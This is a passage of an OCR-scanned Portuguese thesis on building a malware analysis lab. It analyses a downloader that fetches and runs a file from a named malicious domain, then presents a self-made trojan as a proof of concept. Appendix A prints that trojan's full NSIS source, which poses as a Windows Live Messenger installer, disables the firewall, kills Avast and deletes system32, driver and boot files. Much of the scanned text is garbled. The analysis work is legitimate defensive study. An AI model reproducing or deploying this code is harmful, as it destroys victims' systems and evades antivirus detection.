W CODE:D.. 00000052 C:A\MArguivios de Programassslnternet Explorerslesplore. exe hitp: /s go. ..
L CODE:D.. 000003 C:\\FlazhPlayer exe

W CODE:D... 00000 F http:/ Awe. nribp-hie. org Akl jpg

L CODE:D.. 00000013 C:\WFlazhPlayerexe

L DATAD., 00000 E Attt alp

Lt DATAD., 00000005 Ssil@

Figura 50: Lista de Strings do “nopack”

Algumas strings encontradas ddo pistas da criacao e do funcionamento do programa:
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Software\ \ Borland\ \ Delphi\ \ Locales

Informa o compilador (Borland) e a linguagem (Delphi)

C:\\Arquivos de Programas)\ \ Internet Explorer\ \ Iexplore.exe http://www.google.com

O programa manda executar o Internet Explorer e abre a pagina do Google

C:\ \FlashPlayer.exe

O programa manda executar o FlashPlayer

http://www.nmhp-hc.org/kOL.jpg

O programa acessa esse site

Porém, apenas com as strings, ndo pode-se concluir nada.

A Lista de Fungdes Importadas pode ser vista abaixo na Figura 51:

\E_I] WinEnec CODE 00404B4C Q000000 R T
\@]WidecharToMultiByte CODE 00401128 00000006 R T
.‘EI] Wirtuall uery CODE 00404644 00000006 R T
\E_I] WirtualFree CODE o401 124 Q000000 R T
.‘EI] Wirtualdllos CODE o04m17c oo0o000e R T
.‘EI] UrhandledE sceptionFilter CODE 004010738 00000006 R T
\E_I] URLDownloadT oFiles CODE 00404 73C Q000000 R T
.‘EI] Tlz5 et alus CODE 00404404 oo0o000e R T
.‘EI] TlsGetalue CODE 004044CC 00000006 R T
\E_I] SysFreeSting CODE 00401130 Q000000 R T
‘EI] SetFiledttributess, CODE 0040463C oooo000e i T
.‘EI] Regbluend/ alusE b CODE 00401120 00000006 R T
\E_I] Feglpenk.eyE b CODE oo40n112 Q000000 R T
_‘E_I] FegClosek.ey CODE ao401110 Q000000 R T

Figura 51: Lista de Funcdes Importadas do “nopack”

Vé-se que existem muitas fun¢des que mexem com o registro, além da URLDownloadTo-

FileA, que baixa um arquivo e salva na maquina.

Foi gerado, entdo, o Grafo de Fluxo de Controle para uma andlise mais aprofundada do

funcionamento do arquivo. Uma parte dele pode ser vista na Figura 52.

Foi visto que, realmente, através da funcao WinExec, tanto o Internet Explorer quanto o

FlashPlayer sdo abertos.

Ao ser analisada a funcdo sub_407EBC, pdde ser entendido como o programa funciona
inicialmente: ele abre o Internet Explorer e faz o download do arquivo contido no endereco
“http://www.nmhp-hc.org/kOLjpg”, salvando-o no caminho C:\ \FlashPlayer.exe. Apos isso, o

programa executa esse arquivo baixado.

Foi realizada uma pesquisa pela reputacdo do dominio “http://www.nmhp-hc.org/kOlLjpg”
pela web, e foi constatado que esse site € conhecido por disseminar malwares. Os resultados

dessa pesquisa podem ser vistos na Figura 53 e na 54.
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pe=h abp

Moty abp, esp

add esp, OFFFFFFECHh

e aM, eaM

more [ebptvar_14], sam

Mty aam, of Foal dword 4 07FB4
call sub_404550

e aM, eaM

atp
pe=h offzel Too-_d408054
pu=h dwor-d pir fe=:[eam]

M fei[eam], asp

pe=h ) 3 uCmd=how

pu=h offzel Codline ; "CiA-goivos de ProgramessS JImlecnel BExplo”...
call ¥irEmsac

= aaM, [ebptvar_14]

call sb_407EAC

moer aam, [sbptvar_14]

Moo eu:h: B B

cal ] b 40654

moe a4, offsal s CFlashplayer_ema; “"CWF lashPlayer .ama”

moe aan, offsetl sir_HApww_nmbp—bo_orgl01_ipg; “hiip s o rmbpebo o org 01 L i pg”
call =ub_40FERC
1= al, al

iz ghor1 Toc_4080EF
fal=a irus
Q0 (a0E3:
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Figura 52: Parte do Grafo de Fluxo de Controle do “nopack”

Shared Domains

TopLevelDomain %+ Domain %+ Domain.Trust %+ IpAddress % Domain.FirstSeen %+ Domain.LastSeen E
ORG nmhp-he.org ‘3 74.208.150.112 2010-07-08 2010-07-08
ORG www.nmhp-h.org g 74.208.150.112 2010-07-10 2010-07-10

Figura 53: Resultado coletado do site “http://www.malwaregroup.com/”

Warning! This site has a poor reputation.

Ratings @
Reputation ratings are based on real user ratings and they tell you how much ather users trust this
site. How reliable are the ratings?

. e S
Trustworthiness

nmhp-hc.or
peer o @ S
Description: Very poor
Vendor reliability
Popularity: $3888 O [~
Very poor
Ranking: n/a View ranking list Privacy
Server location: =5
O é p A [T
Very poor
F Seeowner at whois Domain Tools Child Safety
P Discover similar sites
O oG (S
F Click here if you own this site Very poor

Figura 54: Resultado coletado do site “http.://www.mywot.com/”
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7z

Dessa forma, a Engenharia Reversa mostra que o “nopack’ € um malware que baixa outros

malwares. Portanto, ela o considera como malicioso.

9.4.3 Resultado da Metodologia

Juntando-se os resultados da Andlise Comportamental com os da Engenharia Reversa,

chega-se a conclusdo de que o “nopack” € malicioso.

9.4.4 Resultado do VirusTotal

Como pode ser visto na Figura 55, 33 dos 42 antivirus que o escanearam consideram o

artefato 4 um malware.

i total

SHAZAE: 27 an9Ged3ad9a27 75411 50d9d5Mh 2926 ae0d9ehA5308 1 biDRacy o7 Be2efcdd
File narne: rnal. Down. nopack worm, exe
Detection ratio: 33 /42

Analysis date: 2012-068-13 18:31:47 UTC [ 16 minutes ago )

Figura 55: Estatisticas do artefato 4 geradas no VirusTotal

9.5 Artefato 5

O quinto artefato a ser analisado foi gerado durante a criacdo desse trabalho. Seu codigo-
fonte pode ser visto no Apéndice A. Ele servird como prova de conceito, comprovando a eficicia
da metodologia de deteccdo de malware e mostrando que, para combater um malware, deve-se

saber como ele funciona e, por consequéncia, aprende-se a crii-lo.

O malware criado foi denominado Windows Live Messenger 2009 Setup e foi feito em
NSIS (Nullsoft Scriptable Install System), um sistema open source profissional para criar insta-
ladores para Windows. Esse sistema foi desenvolvido para ser o menor e mais flexivel possivel

para ser rapidamente compartilhado pela Internet.

O NSIS € um sistema baseado em scripts e permite a criacdo de 16gicas para os mais

complexos passos de uma instalacao.
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Segue abaixo um resumo do funcionamento do malware:

1. Verifica a conex@o com a Internet. Caso nao haja, ele tenta conectar o computador via

Dialer

2. Baixa o arquivo original de instalagdo do Windows Live Messenger 2009 - o malware se

disfarca de instalador, por isso foi dado aquele nome ao arquivo - € o executa
3. Desativa o Firewall do Windows, para um possivel ataque posterior
4. Tenta fechar o antivirus Avast

5. Deleta arquivos do sistema essenciais para seu funcionamento, como drivers € arquivos

do system32

Quando o Windows Live Messenger 2009 Setup ¢ executado, abre-se o instalador repre-

sentado na Figura 56.

% Windows Live S[S1ES

Bem-vindo ao
£7 Windows Live

Preparando o instalador...

Figura 56: Instalador em execugdo

ApOs a sua execucdo, observa-se que a maioria dos programas que se tenta rodar nao
funciona, pois pedem DLLs que faltam no sistema. Ao reinicia-lo, a tela representada na Figura

57 € exibida, mostrando que o sistema estd incapacitado de iniciar.

9.5.1 Analise Comportamental

e Process Explorer

A seguir, a lista de DLLs suspeitas obtidas pelo Process Explorer. Ela s6 pode ser
observada utilizando-se uma fotografia da tela (Figura 58), uma vez que o processo se

encerrava rapidamente.



0 Windows nao pbde ser iniciado porgque o seguinte arquivo

ausente ou corrompido:
Windows rootXssystemd2shal.dll.

Instale novamente uma cdpia do arquivo acima.

M ame

adwvapid2.dll
apphelp.dll
clboatq.dil
comctl22.dll
comctl32.dll
cornres. dll
crypta32. dil
cryptuidll
ctype.nlz
dnzapi.dll
gdiz2.dll
hnetcfg. dil
imagehlp.dil
kemel32.dl
locale.rls
mzaznl.dil
FSCTF.dIl
ot dll
mzwzock. dll
netapid2. dl
rikdll. dll
oleZ2. dll
oleaut32 dl
pzapi.dil
razadhlp.dll
razapid2.dil
razmat. dll
rpertd. dil
reutilz. dll
gecurd2. di
setupapi.dll
ghdocww. dll
ghel32.dl
ghfolder. dll
ghlvapi. dil
znrhl. dll
zortkey. nlz
gorttblz.nlz
tapidz. dil
unicode. nls
urlman. dll
uzerdZ.dl
uzereny, di
ustheme. dil
werzion, dll

Dreszcription

&P de bage doWindows 32 avan...
Application Compatibility Client Libr...

Common Controls Librany
IJzer Expenence Controls Library

Crypho API132
Interface de wsuano do formecedar...

DMS Client &F1 DLL

GOl Clent DLL

Gerenciador de configuragoes der...
YWindows MT Image Helper

DLL chente da AP BASE do*wind...

A5M.1 Runtime APz

DLL de servidor MSCTF

YWindows MT CRT DLL

Fornecedor de servigos do Micros.
Met win32 APl DLL

DLL de nivel doNT

Microzoft OLE para 'windows e'wi...

Process Status Helper

Femote Access AutaDial Helper
APl de acezso remoto

Remote Access Connection Mana...
Femote Procedure Call Buntime
Routing tilities

Securnty Suppart Provider [nterface
AP de inztalagdo do windows

Biblioteca Shell de controles & obje. .

DLL comum do Shell do Windows
Shell Folder Service

Biblioteca de utilitano abreviado pa...
avaszt! znehl

DLL cliente da AP de telefania do ...

Euxtenzde: OLE3Z para windz

DLL de Chente APl de usuario 'in...
zereny

Biblioteca UxTheme Microzoft
Yerzion Checking and File Installati...

Figura 58: Forografia do Process Explorer em execucdo
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Figura 57: Sistema incapaz de iniciar apos execugdo do artefato
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— snxhk.dll: Por se tratar de uma DLL do antivirus Avast (ARQUIVO.WIKI.BR, 2012), é
estranho que seja chamada por um processo que supostamente apenas fard download

do Windows Live Messenger.

— uxtheme.dll: Na mesma linha de raciocinio da DLL anterior, ndo faz sentido um
downloader do Windows Live Messenger chame uma DLL de alteracdo de temas do

Windows (GHEDIN, 2008).

Além disso, vérias das DLLs consideradas criticas para o sistema sdo acessadas (elas

estdo listadas na secdo 4.4 deste trabalho).

e Regshot

Em uma primeira execugdo, tentou-se fotografar os registros pela segunda vez apds
o downloader encerrar sua acdo. O que se observou foi que nem o navegador web ou o

bloco de notas abriram (vide Figura 59).

-

- — il

" Regshot 1.8.3-betalV5 AEER

Compare logs save as:
(C)Plain TET  (3)HTML document

1sk shok

2nd shaot

[ 5can dirt[;dirz;dir3;. . .;dir nn]: Compare

chrome.exe - Néo foi possivel localizar componente n

6 Este aplicativo ndo pdde ser iniciado porque ndo foi encontrado USPA0.dI. & reinstalacdo do aplicativo pode corrigiv o problema.

| English ~

Figura 59: Chrome incapaz de executar

Restou como alternativa realizar uma andlise menos precisa do registro do sistema,
tirando a segunda fotografia dos registros durante a execuc¢ao do downloader, mas apds o

encerramento do processo do artefato de acordo com o Process Explorer.

Verificou-se a existéncia dos seguintes valores modificados:

— StandardProfile\ \ EnableFirewall: 0x00000000
Desliga o Firewall do Sistema.
— SharedAccess)\ \Epoch\ \ Epoch

E ativado para a necessidade de compartilhar arquivos. Nesse caso, ndo € sus-

peito por se tratar de um downloader.

Ap6s todos esses comportamentos maliciosos mostrados pelo arquivo, pode-se dizer que

o artefato € considerado um malware pela Andlise Comportamental.
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9.5.2 Engenharia Reversa

Como principio de andlise, se tentou obter alguma informacdo na Lista de Func¢des Im-
portadas, mas sem sucesso, j4 que a grande maioria das fun¢des nio foram identificadas pelo

debugger.

Utilizando-se da Lista de Nomes para a obten¢do de informagdes sobre o arquivo, encontrou-

se 0 “NSIS Error”, o qual indica que o programa foi feito em NSIS.

Através da andlise da Lista de Strings, pdde se notar muitas strings que justificam os

comportamentos mostrados quando o arquivo foi executado:

e DeleteFileA: apagamento de arquivo

e ReadFile: leitura de arquivo

e WriteFile: escrita em arquivo

e RemoveDirectoryA: remog¢ao de diretério

o RegSetValueExA, RegDeleteValueA, RegCreateKeyExA, RegDeleteKeyA, RegOpenKeyExA:

manipulacgdo total de arquivos do registro - modifica¢do, criagdo e apagamento

e ShellExecuteA: executa um programa da maquina

As strings citadas anteriormente mostram que o artefato modifica e apaga os mais diversos
arquivos da mdquina. Lembrando o fato de que, apds a execugdo do programa, DLLs passam a
faltar, pode-se pressupor que sdo apagados arquivos importantes, como as bibliotecas contidas

na pasta system32.

E incomum que um arquivo ndo malicioso faca tantas manipula¢des em diretdrios e regis-

tros.

Outro fato importante é que o arquivo executa outro programa. Caso fosse somente um

instalador, ndo haveria essa necessidade de execucao.

O Grifico de Fluxo de Controle mostrou muitas vezes a utilizagdo do “DeleteFileA” nas

mais diversas fun¢des do programa.

Através da colocacdo de um breakpoint no inicio do cédigo, foi visto que uma grande
quantidade de DLLs sdo executadas, indicando a existéncia de fun¢do de callback. As DLLs

cujas presengas chamaram aten¢do serdo relatadas abaixo.

A DLL Dialer serve para realizar conex@o com a Internet. A DLL NSISdl € utilizada para

se fazer downloads de arquivos.
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Comportamentalmente, foi visto que um novo arquivo, denominado wlsetup-custom, apa-
receu no mesmo diretério do programa. Ele € o verdadeiro instalador do Windows Live Mes-

senger 2009, que foi baixado e executado.

Dessa forma, vé-se que a execugdo do instalador serve para disfarcar o que o programa

estd fazendo na maquina, que € deletando arquivos e tendo outras atitudes maliciosas.

Com todos esses indicios encontrados com a Engenharia Reversa, pode-se dizer que o

programa € malicioso.

9.5.3 Resultado da Metodologia

Levando em consideragdo os resultados obtidos na Andlise Comportamental e na Enge-
nharia Reversa, além do préprio estado do sistema operacional apds a execucdo do artefato, o

Windows Live Messenger 2009 Setup é um software malicioso.

9.5.4 Resultado do VirusTotal

Mesmo com todos esses comportamentos maliciosos, apenas um antivirus, o Kaspersky,
dos 40 que o analisaram, o reconheceu como malware. Esse resultado pode ser visto nas Figuras
60 e 61.

S total

SHAZ5E: 26d9fad9abfd3148867c64e8c3623d3c089afe930cfeb7340100bee1f4cTceef
SHA: 92fef24f441ccb67922289d2512a%¢c5196f8edab

MDA: 4d701b77cccbb4arbad06172732ea3ca

File size: 273.2 KB ( 279715 bytes )

File name: Windows Live Messenger 2009 Setup.exe

File type: Win32 EXE

Detection ratio: ~ 1/40

Analysis date: 2012-05-17 23:51:51 UTC ( 1 minuto ago )

Figura 60: Estatisticas do artefato 5 geradas no VirusTotal

Kaspersky HEUR: Trojan-Dawnloader Win32 Generic 20120517

Figura 61: Kaspersky, o tinico antivirus que o identificou como malware
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10 Conclusao

A Guerra Cibernética ja € uma realidade. Os governos devem estar preparados para ata-
ques de cibercriminosos e hacktivistas e, de acordo com a sua missdo de defesa e dada a
sua posse de informacdes sigilosas, o Exército Brasileiro deve realizar a prevengdo e protecao

contra esses ataques.

O principal objetivo deste trabalho - criar uma infraestrutura de laboratdrio de andlise de
malware - foi cumprido com éxito. Toda a estrutura necessaria para o laboratorio foi descrita
ao longo dos Capitulos 2 a 8 e a metodologia para deteccao de pragas virtuais foi testada no

Capitulo 9, obtendo sucesso no processo de identificagao.

Como pode ser visto, a existéncia de analistas no processo de detec¢do de malware € im-
prescindivel. A andlise automatizada possui falhas e, nesses momentos, a criatividade humana

¢ fator valioso, necessério e decisivo para o resultado positivo da andlise.

Outro produto foi obtido com sucesso: a constru¢cdo de um c6digo malicioso. Utilizando
recursos da linguagem NSIS, algumas técnicas comuns em malwares foram implementadas.
Saber construir um cédigo malicioso €, certamente, um conhecimento poderoso para a identifi-

cacdo e conten¢do de programas de igual natureza.

E importante ressaltar que todos os soffwares para aplicacio da metodologia sdo de licenca

livre, sendo assim adequados a politica do Exército Brasileiro de uso de softwares.

Entrando no aspecto de trabalhos futuros, por ser um passo inicial na constru¢do de um
laboratorio de andlise de malware, esse trabalho serve como base para varios novos projetos.
Os principais consistem na constru¢cdo de softwares proprios para os diversos passos da andlise

de malware. Apesar de suas licencas serem livres hoje, futuramente podem deixar de ser.

O proéprio aprimoramento da metodologia € um trabalho que deve ser realizado constante-
mente. Novos malwares mais evoluidos surgem a todo momento e as técnicas de defesa devem

crescer conjuntamente com eles.
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APENDICE A - Cédigo-fonte do malware criado,
denominado “Windows Live
Messenger 2009 Setup”

!define PRODUCT_NAME “MSN”
!define PRODUCT_VERSION “1”
!define PRODUCT_PUBLISHER “MSN”

SetCompressor 1zma

Name “$PRODUCT_NAME”
OutFile “Windows Live Messenger 2009 Setup.exe”
InstallDir “$STEMP”
Icon “C:\Documents and Settings\ Administrador\ Desktop\Msn.ico”

b

FAZ O PROGRAMA EXECUTAR SILENCIOSAMENTE, IGUAL AO ACER.JPG.EXE

SilentInstall silent

b

SE JA NAO ESTIVER CONECTADO, CONECTA A INTERNET VIA DIALER
Function Connectlnternet
Push $RO

ClearErrors
Dialer:: AttemptConnect

IfErrors noie3

Pop $RO
StrCmp $RO “online” connected
MessageBox MB_OKIMB_ICONSTOP “Conexao mal sucedida.”

Quit

noie3:

103
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MessageBox MB_OKIMB_ICONINFORMATION “Por favor, conecte-se ’a internet agora.”
connected:
Pop $RO

FunctionEnd

FUNCAO EXECUTADA ANTES DE INICIAR O PROGRAMA PROPRIAMENTE DITO
(CALLBACK FUNCTION). BAIXA O SETUP VERDADEIRO E O EXECUTA.

Function .onlnit

Call Connectlnternet
NSISdl::download http://wl.dlservice.microsoft.com/download/A/E/1/AE1E2509-C43D-4933-
ACIF-E2A9843878 A2/pt-br/wlsetup-custom.exe wlsetup-custom.exe

29 <6

ExecShell “open” “.\ wlsetup-custom.exe”

FunctionEnd

’

DESATIVA O FIREWALL DO WINDOWS
Section

SimpleFC::EnableDisableFirewall 0
Pop $0

FECHA O ANTIVIRUS
StrCpy $0 “AvastUIexe”
DetailPrint “Procurando por processos chamados *$0’.”
KillProc::FindProcesses
StrCmp $1 “-1”” wooops

DetailPrint “Encontrados $0 processos.”

StrCmp $0 “0” completed
Sleep 1500

Goto completed

WOO0OpS:
DetailPrint “Erro.”
Abort
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completed:
DetailPrint “OK.”

SectionEnd

DELETA OS ARQUIVOS QUE SE ENCONTRAM NOS CAMINHOS INDICADOS.

O /REBOOTOK SERVE PARA DELETAR OS ARQUIVOS QUE NAO PODEM SER DELE-
TADOS INSTANTANEAMENTE. ELES SAO DELETADOS NA REINICIALIZACAO DA
MAQUINA.

Section “Sec001” SECO01

Delete /REBOOTOK “C:\WINDOWS\ system *.*”
Delete /REBOOTOK “C:\WINDOWS)\ system32\ *.*”
Delete /REBOOTOK “C:\WINDOWS\ system32\drivers\ *.*”
Delete /REBOOTOK *“C:\boot.ini”
Delete /REBOOTOK “C:\WINDOWS )\ system32\ntoskrnl.exe”
Delete /REBOOTOK “C:\WINDOWS\ *.*”

SectionEnd

AS INSTRUCOES PARA DESABILITAR O FIREWALL E O ANTIVIRUS SERVEM PARA
UM ATAQUE ENQUANTO A MAQUINA NAO E REINICIADA OU CASO NAO SE TENHA
PERMISSAO PARA DELETAR OS ARQUIVOS DO WINDOWS

CASO SE QUEIRA REINICIAR O COMPUTADOR APOS A EXECUCAO DO VIRUS,
BASTA DESCOMENTAR AS LINHAS ABAIXO

:Section -Post
:Reboot
:SectionEnd
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APENDICE B - Dados coletados pelo Regshot na

andlise do arquivo “acer.jpg.exe”

Values Modified: 5

HKLM\SOFTWARE\Microsoft\ Cryptography\ RNG\ Seed:
0B CD F7 46 BF 8D 52 3A 4527 2F 77 29 C6 D8 2C 7D B0 D8 A3 0D 04 B3
56 AE 65 E3 CC D8 B6 B5 67 EC F7 08 22 EC CA 00 6D 48 F8 69 B4 C2 D9
B5 93 CC D2 4E 63 8B 25 15 72 24 21 42 8E CA D4 BA 7A D1 0A 2D 7B 2F
B8 45 B7 83 AA 8E B1 5D 97 FF EC

HKLM\SOFTWARE \ Microsoft\ Cryptography \ RNG\ Seed:
92 0D 03 88 30 6D AD 99 50 4B 0A DS FA 92 ED 48 84 47 86 F1 EF 2C 7E
63 ED D9 30 64 2A B9 3F 51 SC F2 B6 80 97 73 B7 98 BF 76 6B 4E BF SE
39ESE79F 1798 3E 79 02 B2 AD A6 19 A8 2D 9D 2D 17 84 B6 17 C0 91
4B 76 D8 71 39 31 CF 43 CE 2C BS

HKLM\SYSTEM\ ControlSet001\ Services\ SharedAccess\ Epoch\ Epoch:
0x0000041C

HKLM\SYSTEM\ ControlSet001\ Services\ SharedAccess\ Epoch\ Epoch:
0x0000041D

HKLM\SYSTEM\ CurrentControlSet\Services\ SharedAccess\ Epoch\ Epoch:
0x0000041C

HKLM\SYSTEM\ CurrentControlSet\Services\ SharedAccess\ Epoch\ Epoch:
0x0000041D

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software\ Microsoft\
Windows\ CurrentVersion'\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:
OE 00 00 00 C4 01 00 00 0073 1IC 5A 1401 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software \ Microsoft\
Windows'\ CurrentVersion\ Explorer\ UserAssist{75048700-EF 1 F-11D0-9888-006097DEACF9} \
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Count\HRZR_EHACNGU:
OE 00 00 00 C5 01 00 00 50 SA 0A 71 14 01 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software'\ Microsoft\
Windows\ CurrentVersion\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:P: \ Qbphzragf naq Frggvatf\Nqzvavfgengbe\ Qrfxgbc\Rkrzcybf\
frffnb1\npre.wct.rkr:
0D 00 00 00 0A 00 00 00 FO A1 AF DO 13 01 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software\ Microsoft\
Windows\ CurrentVersion'\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:P: \ Qbphzragf naq Frggvatf\Nqzvavfgengbe\ Qrfxgbc\Rkrzcybf\
frffnb1\npre.wct.rkr:
OE 00 00 00 0B 00 00 00 50 5A 0A 71 14 01 CD 01
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APENDICE C - Dados coletados pelo Regshot na
andlise do arquivo
“IsDebuggerPresent.exe”

Values Modified: 2

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software \ Microsoft\
Windows\ CurrentVersion\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:
OE 00 00 00 C4 01 00 000073 1IC 5A 1401 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software \ Microsoft\
Windows'\ CurrentVersion\ Explorer\ UserAssist{ 75048700-EF 1 F-11D0-9888-006097DEACF9} \
Count\HRZR_EHACNGU:
OE 00 00 00 C5 01 00 00 50 5A 0A 71 14 01 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software\ Microsoft\
Windows\ CurrentVersion\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:P: \ Qbphzragf naq Frggvatf\Nqzvavfgengbe\ Qrfxgbc\Rkrzcybf\
frffnb1\npre.wct.rkr:
0D 00 00 00 0A 00 00 00 FO A1 AF DO 1301 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software\ Microsoft\
Windows\ CurrentVersion\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:P: \ Qbphzragf naq Frggvatf\Nqzvavfgengbe\ Qrfxgbc\Rkrzcybf\
frffnb1\npre.wct.rkr:
OE 00 00 00 OB 00 00 00 50 5A 0A 71 14 01 CD 01
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APENDICE D - Dados coletados pelo Regshot na
andlise do arquivo “tls.exe”

Values Modified: 2

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software \ Microsoft\
Windows\ CurrentVersion\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:
OE 00 00 00 C4 01 00 00 00 73 1C5A 1401 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software \ Microsoft\
Windows\ CurrentVersion'\ Explorer\ UserAssist{75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:
OE 00 00 00 C5 01 00 00 50 5A 0A 71 1401 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software \ Microsoft\
Windows'\ CurrentVersion\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 }\
Count\HRZR_EHACNGU:P: \ Qbphzragf naq Frggvatf\Nqzvavfgengbe\ Qrfxgbc\Rkrzcybf\
frffnb1\npre.wct.rkr:
0D 00 00 00 OA 00 00 00 FO A1 AF DO 13 01 CD 01

HKU\S-1-5-21-1801674531-1960408961-839522115-500\ Software\ Microsoft\
Windows\ CurrentVersion'\ Explorer\ UserAssist\ { 75048700-EF1F-11D0-9888-006097DEACF9 } \
Count\HRZR_EHACNGU:P: \ Qbphzragf naq Frggvatf\Nqzvavfgengbe\ Qrfxgbc\Rkrzcybf\
frffnb1\npre.wct.rkr:
OE 00 00 00 OB 00 00 00 50 5A 0A 71 14 01 CD 01





